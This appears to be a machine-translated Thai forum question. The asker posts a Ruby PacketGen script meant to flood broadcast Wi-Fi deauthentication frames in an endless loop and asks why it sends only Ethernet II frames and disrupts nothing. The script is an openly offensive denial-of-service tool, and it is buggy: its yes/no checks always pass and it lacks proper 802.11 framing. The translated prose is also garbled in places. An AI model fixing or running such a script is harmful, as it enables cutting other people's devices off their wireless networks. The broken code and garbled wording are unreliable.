ฉันพยายามเขียนสคริปต์โจมตี deauth อย่างง่าย ๆ แต่เมื่อฉันดับไฟ wireshark แทนที่จะเป็นเฟรม deauth ฉันเห็นเฉพาะเฟรม Ethernet II เท่านั้น นอกจากนี้เฟรมจะไม่มีผลกับอุปกรณ์ใด ๆ ในเครือข่ายของฉัน เป็นเพราะฉันใช้ wireshark ในโหมด promiscuous หรือเป็นปัญหากับการกำหนดค่าเครือข่ายหรือสคริปต์ของฉัน รหัสด้านล่างและภาพหน้าจอที่อยู่ในการเชื่อมโยงไปยังคำถามที่คล้ายกันผมถามในกองล้นที่นี่
require 'packetgen'
def deauth()
network = 'wlp2s0'
yes = 'y'
no = 'n'
broadcast = 'FF:FF:FF:FF:FF:FF'
print 'Do you want to deauth network?[y/n]'
input = gets.chomp
if input == yes or yes.upcase!
puts 'Deauthing all network clients...'
while true
PacketGen.gen('Dot11::Management', mac1: broadcast).
add('Dot11::DeAuth').
to_w(network)
end
elsif input == no or no.upcase!
print 'Okay :('
end
end
deauth()